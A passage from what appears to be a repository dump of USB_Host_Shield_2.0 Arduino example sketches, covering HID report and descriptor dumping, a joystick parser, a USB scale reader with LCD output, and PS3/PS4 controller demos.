    "content": "#include <hidcomposite.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\n// Override HIDComposite to be able to select which interface we want to hook into\nclass HIDSelector : public HIDComposite\n{\npublic:\n    HIDSelector(USB *p) : HIDComposite(p) {};\n\nprotected:\n    void ParseHIDData(USBHID *hid, uint8_t ep, bool is_rpt_id, uint8_t len, uint8_t *buf); // Called by the HIDComposite library\n    bool SelectInterface(uint8_t iface, uint8_t proto);\n};\n\n// Return true for the interface we want to hook into\nbool HIDSelector::SelectInterface(uint8_t iface, uint8_t proto)\n{\n  if (proto != 0)\n    return true;\n\n  return false;\n}\n\n// Will be called for all HID data received from the USB interface\nvoid HIDSelector::ParseHIDData(USBHID *hid, uint8_t ep, bool is_rpt_id, uint8_t len, uint8_t *buf) {\n#if 1\n  if (len && buf)  {\n    Notify(PSTR(\"\\r\\n\"), 0x80);\n    for (uint8_t i = 0; i < len; i++) {\n      D_PrintHex<uint8_t > (buf[i], 0x80);\n      Notify(PSTR(\" \"), 0x80);\n    }\n  }\n#endif\n}\n\nUSB     Usb;\n//USBHub     Hub(&Usb);\nHIDSelector    hidSelector(&Usb);\n\nvoid setup()\n{\n  Serial.begin( 115200 );\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"Start\");\n\n  if (Usb.Init() == -1)\n    Serial.println(\"OSC did not start.\");\n\n  // Set this to higher values to enable more debug information\n  // minimum 0x00, maximum 0xff, default 0x80\n  UsbDEBUGlvl = 0xff;\n\n  delay( 200 );\n}\n\nvoid loop()\n{\n  Usb.Task();\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHID_desc/USBHID_desc.ino",
    "content": "#include <usbhid.h>\n#include <hiduniversal.h>\n#include <hidescriptorparser.h>\n#include <usbhub.h>\n#include \"pgmstrings.h\"\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nclass HIDUniversal2 : public HIDUniversal\n{\npublic:\n    HIDUniversal2(USB *usb) : HIDUniversal(usb) {};\n\nprotected:\n    uint8_t OnInitSuccessful();\n};\n\nuint8_t HIDUniversal2::OnInitSuccessful()\n{\n    uint8_t    rcode;\n\n    HexDumper<USBReadParser, uint16_t, uint16_t>    Hex;\n    ReportDescParser                                Rpt;\n\n    if ((rcode = GetReportDescr(0, &Hex)))\n        goto FailGetReportDescr1;\n\n    if ((rcode = GetReportDescr(0, &Rpt)))\n\tgoto FailGetReportDescr2;\n\n    return 0;\n\nFailGetReportDescr1:\n    USBTRACE(\"GetReportDescr1:\");\n    goto Fail;\n\nFailGetReportDescr2:\n    USBTRACE(\"GetReportDescr2:\");\n    goto Fail;\n\nFail:\n    Serial.println(rcode, HEX);\n    Release();\n    return rcode;\n}\n\nUSB Usb;\n//USBHub Hub(&Usb);\nHIDUniversal2 Hid(&Usb);\nUniversalReportParser Uni;\n\nvoid setup()\n{\n  Serial.begin( 115200 );\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"Start\");\n\n  if (Usb.Init() == -1)\n      Serial.println(\"OSC did not start.\");\n\n  delay( 200 );\n\n  if (!Hid.SetReportParser(0, &Uni))\n      ErrorMessage<uint8_t>(PSTR(\"SetReportParser\"), 1  );\n}\n\nvoid loop()\n{\n    Usb.Task();\n}\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHID_desc/pgmstrings.h",
    "content": "#if !defined(__PGMSTRINGS_H__)\n#define __PGMSTRINGS_H__\n\n#define LOBYTE(x) ((char*)(&(x)))[0]\n#define HIBYTE(x) ((char*)(&(x)))[1]\n#define BUFSIZE 256    //buffer size\n \n\n/* Print strings in Program Memory */\nconst char Gen_Error_str[] PROGMEM = \"\\r\\nRequest error. Error code:\\t\"; \nconst char Dev_Header_str[] PROGMEM =\"\\r\\nDevice descriptor: \";\nconst char Dev_Length_str[] PROGMEM =\"\\r\\nDescriptor Length:\\t\";\nconst char Dev_Type_str[] PROGMEM =\"\\r\\nDescriptor type:\\t\";\nconst char Dev_Version_str[] PROGMEM =\"\\r\\nUSB version:\\t\\t\";\nconst char Dev_Class_str[] PROGMEM =\"\\r\\nDevice class:\\t\\t\";\nconst char Dev_Subclass_str[] PROGMEM =\"\\r\\nDevice Subclass:\\t\";\nconst char Dev_Protocol_str[] PROGMEM =\"\\r\\nDevice Protocol:\\t\";\nconst char Dev_Pktsize_str[] PROGMEM =\"\\r\\nMax.packet size:\\t\";\nconst char Dev_Vendor_str[] PROGMEM =\"\\r\\nVendor  ID:\\t\\t\";\nconst char Dev_Product_str[] PROGMEM =\"\\r\\nProduct ID:\\t\\t\";\nconst char Dev_Revision_str[] PROGMEM =\"\\r\\nRevision ID:\\t\\t\";\nconst char Dev_Mfg_str[] PROGMEM =\"\\r\\nMfg.string index:\\t\";\nconst char Dev_Prod_str[] PROGMEM =\"\\r\\nProd.string index:\\t\";\nconst char Dev_Serial_str[] PROGMEM =\"\\r\\nSerial number index:\\t\";\nconst char Dev_Nconf_str[] PROGMEM =\"\\r\\nNumber of conf.:\\t\";\nconst char Conf_Trunc_str[] PROGMEM =\"Total length truncated to 256 bytes\";\nconst char Conf_Header_str[] PROGMEM =\"\\r\\nConfiguration descriptor:\";\nconst char Conf_Totlen_str[] PROGMEM =\"\\r\\nTotal length:\\t\\t\";\nconst char Conf_Nint_str[] PROGMEM =\"\\r\\nNum.intf:\\t\\t\";\nconst char Conf_Value_str[] PROGMEM =\"\\r\\nConf.value:\\t\\t\";\nconst char Conf_String_str[] PROGMEM =\"\\r\\nConf.string:\\t\\t\";\nconst char Conf_Attr_str[] PROGMEM =\"\\r\\nAttr.:\\t\\t\\t\";\nconst char Conf_Pwr_str[] PROGMEM =\"\\r\\nMax.pwr:\\t\\t\";\nconst char Int_Header_str[] PROGMEM =\"\\r\\n\\r\\nInterface descriptor:\";\nconst char Int_Number_str[] PROGMEM =\"\\r\\nIntf.number:\\t\\t\";\nconst char Int_Alt_str[] PROGMEM =\"\\r\\nAlt.:\\t\\t\\t\";\nconst char Int_Endpoints_str[] PROGMEM =\"\\r\\nEndpoints:\\t\\t\";\nconst char Int_Class_str[] PROGMEM =\"\\r\\nIntf. Class:\\t\\t\";\nconst char Int_Subclass_str[] PROGMEM =\"\\r\\nIntf. Subclass:\\t\\t\";\nconst char Int_Protocol_str[] PROGMEM =\"\\r\\nIntf. Protocol:\\t\\t\";\nconst char Int_String_str[] PROGMEM =\"\\r\\nIntf.string:\\t\\t\";\nconst char End_Header_str[] PROGMEM =\"\\r\\n\\r\\nEndpoint descriptor:\";\nconst char End_Address_str[] PROGMEM =\"\\r\\nEndpoint address:\\t\";\nconst char End_Attr_str[] PROGMEM =\"\\r\\nAttr.:\\t\\t\\t\";\nconst char End_Pktsize_str[] PROGMEM =\"\\r\\nMax.pkt size:\\t\\t\";\nconst char End_Interval_str[] PROGMEM =\"\\r\\nPolling interval:\\t\";\nconst char Unk_Header_str[] PROGMEM = \"\\r\\nUnknown descriptor:\";\nconst char Unk_Length_str[] PROGMEM =\"\\r\\nLength:\\t\\t\";\nconst char Unk_Type_str[] PROGMEM =\"\\r\\nType:\\t\\t\";\nconst char Unk_Contents_str[] PROGMEM =\"\\r\\nContents:\\t\";\n \n#endif // __PGMSTRINGS_H__"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/le3dp/le3dp.ino",
    "content": "/* Simplified Logitech Extreme 3D Pro Joystick Report Parser */\n\n#include <usbhid.h>\n#include <hiduniversal.h>\n#include <usbhub.h>\n\n#include \"le3dp_rptparser.h\"\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB                                             Usb;\nUSBHub                                          Hub(&Usb);\nHIDUniversal                                    Hid(&Usb);\nJoystickEvents                                  JoyEvents;\nJoystickReportParser                            Joy(&JoyEvents);\n\nvoid setup()\n{\n  Serial.begin( 115200 );\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"Start\");\n\n  if (Usb.Init() == -1)\n      Serial.println(\"OSC did not start.\");\n\n  delay( 200 );\n\n  if (!Hid.SetReportParser(0, &Joy))\n      ErrorMessage<uint8_t>(PSTR(\"SetReportParser\"), 1  );\n}\n\nvoid loop()\n{\n    Usb.Task();\n}\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/le3dp/le3dp_rptparser.cpp",
    "content": "#include \"le3dp_rptparser.h\"\n\nJoystickReportParser::JoystickReportParser(JoystickEvents *evt) :\n\tjoyEvents(evt)\n{}\n\nvoid JoystickReportParser::Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf)\n{\n\tbool match = true;\n\n\t// Checking if there are changes in report since the method was last called\n\tfor (uint8_t i=0; i<RPT_GAMEPAD_LEN; i++) {\n\t\tif( buf[i] != oldPad[i] ) {\n\t\t\tmatch = false;\n\t\t\tbreak;\n\t\t}\n  }\n  \t// Calling Game Pad event handler\n\tif (!match && joyEvents) {\n\t\tjoyEvents->OnGamePadChanged((const GamePadEventData*)buf);\n\n\t\tfor (uint8_t i=0; i<RPT_GAMEPAD_LEN; i++) oldPad[i] = buf[i];\n\t}\n}\n\nvoid JoystickEvents::OnGamePadChanged(const GamePadEventData *evt)\n{\n\tSerial.print(\"X: \");\n\tPrintHex<uint16_t>(evt->x, 0x80);\n\tSerial.print(\" Y: \");\n\tPrintHex<uint16_t>(evt->y, 0x80);\n\tSerial.print(\" Hat Switch: \");\n\tPrintHex<uint8_t>(evt->hat, 0x80);\n\tSerial.print(\" Twist: \");\n\tPrintHex<uint8_t>(evt->twist, 0x80);\n\tSerial.print(\" Slider: \");\n\tPrintHex<uint8_t>(evt->slider, 0x80);\n  Serial.print(\" Buttons A: \");\n\tPrintHex<uint8_t>(evt->buttons_a, 0x80);\n\tSerial.print(\" Buttons B: \");\n\tPrintHex<uint8_t>(evt->buttons_b, 0x80);\n\tSerial.println(\"\");\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/le3dp/le3dp_rptparser.h",
    "content": "#if !defined(__HIDJOYSTICKRPTPARSER_H__)\n#define __HIDJOYSTICKRPTPARSER_H__\n\n#include <usbhid.h>\n\nstruct GamePadEventData\n{\n  union { //axes and hut switch\n    uint32_t axes;\n    struct {\n      uint32_t x : 10;\n      uint32_t y : 10;\n      uint32_t hat : 4;\n      uint32_t twist : 8;      \n    };\n  };\n  uint8_t buttons_a;\n  uint8_t slider;\n  uint8_t buttons_b;\n};\n\nclass JoystickEvents\n{\npublic:\n\tvirtual void OnGamePadChanged(const GamePadEventData *evt);\n};\n\n#define RPT_GAMEPAD_LEN\tsizeof(GamePadEventData)/sizeof(uint8_t)\n\nclass JoystickReportParser : public HIDReportParser\n{\n\tJoystickEvents\t\t*joyEvents;\n\n  uint8_t oldPad[RPT_GAMEPAD_LEN];\n\npublic:\n\tJoystickReportParser(JoystickEvents *evt);\n\n\tvirtual void Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf);\n};\n\n#endif // __HIDJOYSTICKRPTPARSER_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/scale/scale.ino",
    "content": "/* Digital Scale Output. Written for Stamps.com Model 510  */\n/* 5lb Digital Scale; any HID scale with Usage page 0x8d should work */\n\n#include <usbhid.h>\n#include <hiduniversal.h>\n#include <usbhub.h>\n\n#include \"scale_rptparser.h\"\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB                                             Usb;\nUSBHub                                          Hub(&Usb);\nHIDUniversal                                    Hid(&Usb);\nMax_LCD                                       LCD(&Usb);\nScaleEvents                                  ScaleEvents(&LCD);\nScaleReportParser                            Scale(&ScaleEvents);\n\nvoid setup()\n{\n  Serial.begin( 115200 );\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"Start\");\n\n  if (Usb.Init() == -1)\n      Serial.println(\"OSC did not start.\");\n\n    // set up the LCD's number of rows and columns:\n    LCD.begin(16, 2);\n    LCD.clear();\n    LCD.home();\n    LCD.setCursor(0,0);\n    LCD.write('R');\n\n  delay( 200 );\n\n  if (!Hid.SetReportParser(0, &Scale))\n      ErrorMessage<uint8_t>(PSTR(\"SetReportParser\"), 1  );\n}\n\nvoid loop()\n{\n    Usb.Task();\n}\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/scale/scale_rptparser.cpp",
    "content": "/* Parser for standard HID scale (usage page 0x8d) data input report (ID 3) */ \n#ifdef ARDUINO_SAM_DUE\n#include <avr/dtostrf.h>\n#endif\n#include \"scale_rptparser.h\"\n\nconst char* UNITS[13] = {\n    \"units\",        // unknown unit\n    \"mg\",           // milligram\n    \"g\",            // gram\n    \"kg\",           // kilogram\n    \"cd\",           // carat\n    \"taels\",        // lian\n    \"gr\",           // grain\n    \"dwt\",          // pennyweight\n    \"tonnes\",       // metric tons\n    \"tons\",         // avoir ton\n    \"ozt\",          // troy ounce\n    \"oz\",           // ounce\n    \"lbs\"           // pound\n};\n\nScaleReportParser::ScaleReportParser(ScaleEvents *evt) :\n\tscaleEvents(evt)\n{}\n\nvoid ScaleReportParser::Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf)\n{\n\tbool match = true;\n\n\t// Checking if there are changes in report since the method was last called\n\tfor (uint8_t i=0; i<RPT_SCALE_LEN; i++) {\n\t\tif( buf[i] != oldScale[i] ) {\n\t\t\tmatch = false;\n\t\t\tbreak;\n\t\t}\n  }\n  \t// Calling Game Pad event handler\n\tif (!match && scaleEvents) {\n\t\tscaleEvents->OnScaleChanged((const ScaleEventData*)buf);\n\n\t\tfor (uint8_t i=0; i<RPT_SCALE_LEN; i++) oldScale[i] = buf[i];\n\t}\n}\n\nScaleEvents::ScaleEvents( Max_LCD* pLCD ) :\n\t\n\tpLcd( pLCD )\n\n{}\n\nvoid ScaleEvents::LcdPrint( const char* str )\n{\n\t\n\twhile( *str ) {\n\t\t\n\t\tpLcd->write(\t*str++ );\n\t\t\n\t}\n}\n\nvoid ScaleEvents::OnScaleChanged(const ScaleEventData *evt)\n{\n\t\n\tpLcd->clear();\n  pLcd->home();\n  pLcd->setCursor(0,0);\n\t\n\tif( evt->reportID != 3 ) {\n\t\t\n\t\tconst char inv_report[]=\"Invalid report!\";\n\t\t\n\t\tSerial.println(inv_report);\n\t\tLcdPrint(inv_report);\n\t\t\n\t\treturn;\n\t\t\n\t}//if( evt->reportID != 3...\n\t\n\tswitch( evt->status ) {\n\t\t\n\t\tcase REPORT_FAULT: \n\t\t\tSerial.println(F(\"Report fault\"));\n\t\t\tbreak;\n\t\t\t\n\t\tcase ZEROED:\n\t\t\tSerial.println(F(\"Scale zero set\"));\n\t\t\tbreak;\n\t\t\t\n\t\tcase WEIGHING: {\n\t\t\t\n\t\t\tconst char progress[] = \"Weighing...\";\n\t\t\tSerial.println(progress);\n\t\t\tLcdPrint(progress);\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\tcase WEIGHT_VALID: {\n\t\t\t\n\t\t\tchar buf[10];\n      double weight = evt->weight * pow( 10, evt->exp );\n      \n      \t\n                        \n      \tSerial.print(F(\"Weight: \"));\n\t\t\t\tSerial.print( weight );\n\t\t\t\tSerial.print(F(\" \"));\n\t\t\t\tSerial.println( UNITS[ evt->unit ]);\n\t\t\t\t\n\t\t\t\tLcdPrint(\"Weight: \");\n\t\t\t\tdtostrf( weight, 4, 2, buf );\n\t\t\t\tLcdPrint( buf ); \n\t\t\t\tLcdPrint( UNITS[ evt->unit ]);\n\t\t\t\n\t\t\tbreak;\n\t\t\t\n\t\t}//case WEIGHT_VALID...\n\t\t\t\n\t\tcase WEIGHT_NEGATIVE: {\n\t\t\t\n\t\t\tconst char negweight[] = \"Negative weight\";\n\t\t\tSerial.println(negweight);\n\t\t\tLcdPrint(negweight);\n\t\t\tbreak;\n\t\t}\n\t\t\t\n\t\tcase OVERWEIGHT: {\n\t\t\n\t\t\tconst char overweight[] = \"Max.weight reached\";\n\t\t\tSerial.println(overweight);\n\t\t\tLcdPrint( overweight );\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\tcase CALIBRATE_ME:\n\t\t\t\n\t\t\tSerial.println(F(\"Scale calibration required\"));\n\t\t\tbreak;\n\t\t\t\n\t\tcase ZERO_ME:\n\t\t\t\n\t\t\tSerial.println(F(\"Scale zeroing required\"));\n\t\t\tbreak;\n\t\t\t\n\t\tdefault:\n\t\t\t\n\t\t\tSerial.print(F(\"Undefined status code: \"));\n\t\t\tSerial.println( evt->status );\n\t\t\tbreak;\t\n\t\t\t\n\t}//switch( evt->status...\n\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/scale/scale_rptparser.h",
    "content": "#if !defined(__SCALERPTPARSER_H__)\n#define __SCALERPTPARSER_H__\n\n#include <max_LCD.h>\n#include <usbhid.h>\n\n/* Scale status constants */\n#define REPORT_FAULT 0x01\n#define ZEROED 0x02\n#define WEIGHING 0x03\n#define WEIGHT_VALID 0x04\n#define WEIGHT_NEGATIVE 0x05\n#define OVERWEIGHT 0x06\n#define CALIBRATE_ME 0x07\n#define ZERO_ME 0x08\n\n/* input data report */\nstruct ScaleEventData\n{\n  uint8_t reportID;\t//must be 3\n  uint8_t status;\n  uint8_t unit;\n  int8_t exp;\t\t\t//scale factor for the weight\n  uint16_t weight;\t//\n};\n\nclass ScaleEvents\n{\n\n\tMax_LCD*\tpLcd;\n\n\tvoid LcdPrint( const char* str );\n\npublic:\n\n\tScaleEvents( Max_LCD* pLCD );\n\n\tvirtual void OnScaleChanged(const ScaleEventData *evt);\n};\n\n#define RPT_SCALE_LEN\tsizeof(ScaleEventData)/sizeof(uint8_t)\n\nclass ScaleReportParser : public HIDReportParser\n{\n\tScaleEvents\t\t*scaleEvents;\n\n  uint8_t oldScale[RPT_SCALE_LEN];\n\npublic:\n\tScaleReportParser(ScaleEvents *evt);\n\n\tvirtual void Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf);\n};\n\n#endif // __SCALERPTPARSER_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/PS3USB/PS3USB.ino",
    "content": "/*\n Example sketch for the PS3 USB library - developed by Kristian Lauszus\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <PS3USB.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n/* You can create the instance of the class in two ways */\nPS3USB PS3(&Usb); // This will just create the instance\n//PS3USB PS3(&Usb,0x00,0x15,0x83,0x3D,0x0A,0x57); // This will also store the bluetooth address - this can be obtained from the dongle when running the sketch\n\nbool printAngle;\nuint8_t state = 0;\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); //halt\n  }\n  Serial.print(F(\"\\r\\nPS3 USB Library Started\"));\n}\nvoid loop() {\n  Usb.Task();\n\n  if (PS3.PS3Connected || PS3.PS3NavigationConnected) {\n    if (PS3.getAnalogHat(LeftHatX) > 137 || PS3.getAnalogHat(LeftHatX) < 117 || PS3.getAnalogHat(LeftHatY) > 137 || PS3.getAnalogHat(LeftHatY) < 117 || PS3.getAnalogHat(RightHatX) > 137 || PS3.getAnalogHat(RightHatX) < 117 || PS3.getAnalogHat(RightHatY) > 137 || PS3.getAnalogHat(RightHatY) < 117) {\n      Serial.print(F(\"\\r\\nLeftHatX: \"));\n      Serial.print(PS3.getAnalogHat(LeftHatX));\n      Serial.print(F(\"\\tLeftHatY: \"));\n      Serial.print(PS3.getAnalogHat(LeftHatY));\n      if (PS3.PS3Connected) { // The Navigation controller only have one joystick\n        Serial.print(F(\"\\tRightHatX: \"));\n        Serial.print(PS3.getAnalogHat(RightHatX));\n        Serial.print(F(\"\\tRightHatY: \"));\n        Serial.print(PS3.getAnalogHat(RightHatY));\n      }\n    }\n    // Analog button values can be read from almost all buttons\n    if (PS3.getAnalogButton(L2) || PS3.getAnalogButton(R2)) {\n      Serial.print(F(\"\\r\\nL2: \"));\n      Serial.print(PS3.getAnalogButton(L2));\n      if (!PS3.PS3NavigationConnected) {\n        Serial.print(F(\"\\tR2: \"));\n        Serial.print(PS3.getAnalogButton(R2));\n      }\n    }\n    if (PS3.getButtonClick(PS))\n      Serial.print(F(\"\\r\\nPS\"));\n\n    if (PS3.getButtonClick(TRIANGLE))\n      Serial.print(F(\"\\r\\nTraingle\"));\n    if (PS3.getButtonClick(CIRCLE))\n      Serial.print(F(\"\\r\\nCircle\"));\n    if (PS3.getButtonClick(CROSS))\n      Serial.print(F(\"\\r\\nCross\"));\n    if (PS3.getButtonClick(SQUARE))\n      Serial.print(F(\"\\r\\nSquare\"));\n\n    if (PS3.getButtonClick(UP)) {\n      Serial.print(F(\"\\r\\nUp\"));\n      PS3.setLedOff();\n      PS3.setLedOn(LED4);\n    }\n    if (PS3.getButtonClick(RIGHT)) {\n      Serial.print(F(\"\\r\\nRight\"));\n      PS3.setLedOff();\n      PS3.setLedOn(LED1);\n    }\n    if (PS3.getButtonClick(DOWN)) {\n      Serial.print(F(\"\\r\\nDown\"));\n      PS3.setLedOff();\n      PS3.setLedOn(LED2);\n    }\n    if (PS3.getButtonClick(LEFT)) {\n      Serial.print(F(\"\\r\\nLeft\"));\n      PS3.setLedOff();\n      PS3.setLedOn(LED3);\n    }\n\n    if (PS3.getButtonClick(L1))\n      Serial.print(F(\"\\r\\nL1\"));\n    if (PS3.getButtonClick(L3))\n      Serial.print(F(\"\\r\\nL3\"));\n    if (PS3.getButtonClick(R1))\n      Serial.print(F(\"\\r\\nR1\"));\n    if (PS3.getButtonClick(R3))\n      Serial.print(F(\"\\r\\nR3\"));\n\n    if (PS3.getButtonClick(SELECT)) {\n      Serial.print(F(\"\\r\\nSelect - \"));\n      PS3.printStatusString();\n    }\n    if (PS3.getButtonClick(START)) {\n      Serial.print(F(\"\\r\\nStart\"));\n      printAngle = !printAngle;\n    }\n    if (printAngle) {\n      Serial.print(F(\"\\r\\nPitch: \"));\n      Serial.print(PS3.getAngle(Pitch));\n      Serial.print(F(\"\\tRoll: \"));\n      Serial.print(PS3.getAngle(Roll));\n    }\n  }\n  else if (PS3.PS3MoveConnected) { // One can only set the color of the bulb, set the rumble, set and get the bluetooth address and calibrate the magnetometer via USB\n    if (state == 0) {\n      PS3.moveSetRumble(0);\n      PS3.moveSetBulb(Off);\n    } else if (state == 1) {\n      PS3.moveSetRumble(75);\n      PS3.moveSetBulb(Red);\n    } else if (state == 2) {\n      PS3.moveSetRumble(125);\n      PS3.moveSetBulb(Green);\n    } else if (state == 3) {\n      PS3.moveSetRumble(150);\n      PS3.moveSetBulb(Blue);\n    } else if (state == 4) {\n      PS3.moveSetRumble(175);\n      PS3.moveSetBulb(Yellow);\n    } else if (state == 5) {\n      PS3.moveSetRumble(200);\n      PS3.moveSetBulb(Lightblue);\n    } else if (state == 6) {\n      PS3.moveSetRumble(225);\n      PS3.moveSetBulb(Purple);\n    } else if (state == 7) {\n      PS3.moveSetRumble(250);\n      PS3.moveSetBulb(White);\n    }\n\n    state++;\n    if (state > 7)\n      state = 0;\n    delay(1000);\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/PS4USB/PS4USB.ino",
    "content": "/*\n Example sketch for the PS4 USB library - developed by Kristian Lauszus\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <PS4USB.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\nPS4USB PS4(&Usb);\n\nbool printAngle, printTouch;\nuint8_t oldL2Value, oldR2Value;\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); // Halt\n  }\n  Serial.print(F(\"\\r\\nPS4 USB Library Started\"));\n}\n\nvoid loop() {\n  Usb.Task();\n\n  if (PS4.connected()) {\n    if (PS4.getAnalogHat(LeftHatX) > 137 || PS4.getAnalogHat(LeftHatX) < 117 || PS4.getAnalogHat(LeftHatY) > 137 || PS4.getAnalogHat(LeftHatY) < 117 || PS4.getAnalogHat(RightHatX) > 137 || PS4.getAnalogHat(RightHatX) < 117 || PS4.getAnalogHat(RightHatY) > 137 || PS4.getAnalogHat(RightHatY) < 117) {\n      Serial.print(F(\"\\r\\nLeftHatX: \"));\n      Serial.print(PS4.getAnalogHat(LeftHatX));\n      Serial.print(F(\"\\tLeftHatY: \"));\n      Serial.print(PS4.getAnalogHat(LeftHatY));\n      Serial.print(F(\"\\tRightHatX: \"));\n      Serial.print(PS4.getAnalogHat(RightHatX));\n      Serial.print(F(\"\\tRightHatY: \"));\n      Serial.print(PS4.getAnalogHat(RightHatY));\n    }\n\n    if (PS4.getAnalogButton(L2) || PS4.getAnalogButton(R2)) { // These are the only analog buttons on the PS4 controller\n      Serial.print(F(\"\\r\\nL2: \"));\n      Serial.print(PS4.getAnalogButton(L2));\n      Serial.print(F(\"\\tR2: \"));\n      Serial.print(PS4.getAnalogButton(R2));\n    }\n    if (PS4.getAnalogButton(L2) != oldL2Value || PS4.getAnalogButton(R2) != oldR2Value) // Only write value if it's different\n      PS4.setRumbleOn(PS4.getAnalogButton(L2), PS4.getAnalogButton(R2));\n    oldL2Value = PS4.getAnalogButton(L2);\n    oldR2Value = PS4.getAnalogButton(R2);\n\n    if (PS4.getButtonClick(PS))\n      Serial.print(F(\"\\r\\nPS\"));\n    if (PS4.getButtonClick(TRIANGLE)) {\n      Serial.print(F(\"\\r\\nTraingle\"));\n      PS4.setRumbleOn(RumbleLow);\n    }\n    if (PS4.getButtonClick(CIRCLE)) {\n      Serial.print(F(\"\\r\\nCircle\"));\n      PS4.setRumbleOn(RumbleHigh);\n    }\n    if (PS4.getButtonClick(CROSS)) {\n      Serial.print(F(\"\\r\\nCross\"));\n      PS4.setLedFlash(10, 10); // Set it to blink rapidly\n    }\n    if (PS4.getButtonClick(SQUARE)) {\n      Serial.print(F(\"\\r\\nSquare\"));\n      PS4.setLedFlash(0, 0); // Turn off blinking\n    }\n\n    if (PS4.getButtonClick(UP)) {\n      Serial.print(F(\"\\r\\nUp\"));\n      PS4.setLed(Red);\n    } if (PS4.getButtonClick(RIGHT)) {\n      Serial.print(F(\"\\r\\nRight\"));\n      PS4.setLed(Blue);\n    } if (PS4.getButtonClick(DOWN)) {\n      Serial.print(F(\"\\r\\nDown\"));\n      PS4.setLed(Yellow);\n    } if (PS4.getButtonClick(LEFT)) {\n      Serial.print(F(\"\\r\\nLeft\"));\n      PS4.setLed(Green);\n    }\n\n    if (PS4.getButtonClick(L1))\n      Serial.print(F(\"\\r\\nL1\"));\n    if (PS4.getButtonClick(L3))\n      Serial.print(F(\"\\r\\nL3\"));\n    if (PS4.getButtonClick(R1))\n      Serial.print(F(\"\\r\\nR1\"));\n    if (PS4.getButtonClick(R3))\n      Serial.print(F(\"\\r\\nR3\"));\n\n    if (PS4.getButtonClick(SHARE))\n      Serial.print(F(\"\\r\\nShare\"));\n    if (PS4.getButtonClick(OPTIONS)) {\n      Serial.print(F(\"\\r\\nOptions\"));\n      printAngle = !printAngle;\n    }\n    if (PS4.getButtonClick(TOUCHPAD)) {\n      Serial.print(F(\"\\r\\nTouchpad\"));\n      printTouch = !printTouch;\n    }\n\n    if (printAngle) { // Print angle calculated using the accelerometer only\n      Serial.print(F(\"\\r\\nPitch: \"));\n      Serial.print(PS4.getAngle(Pitch));\n      Serial.print(F(\"\\tRoll: \"));\n      Serial.print(PS4.getAngle(Roll));\n    }\n\n    if (printTouch) { // Print the x, y coordinates of the touchpad\n      if (PS4.isTouching(0) || PS4.isTouching(1)) // Print newline and carriage return if any of the fingers are touching the touchpad\n        Serial.print(F(\"\\r\\n\"));\n      for (uint8_t i = 0; i < 2; i++) { // The touchpad track two fingers\n        if (PS4.isTouching(i)) { // Print the position of the finger if it is touching the touchpad\n          Serial.print(F(\"X\")); Serial.print(i + 1); Serial.print(F(\": \"));\n          Serial.print(PS4.getX(i));\n          Serial.print(F(\"\\tY\")); Serial.print(i + 1); Serial.print(F(\": \"));\n          Serial.print(PS4.getY(i));\n          Serial.print(F(\"\\t\"));\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/PSBuzz/PSBuzz.ino",
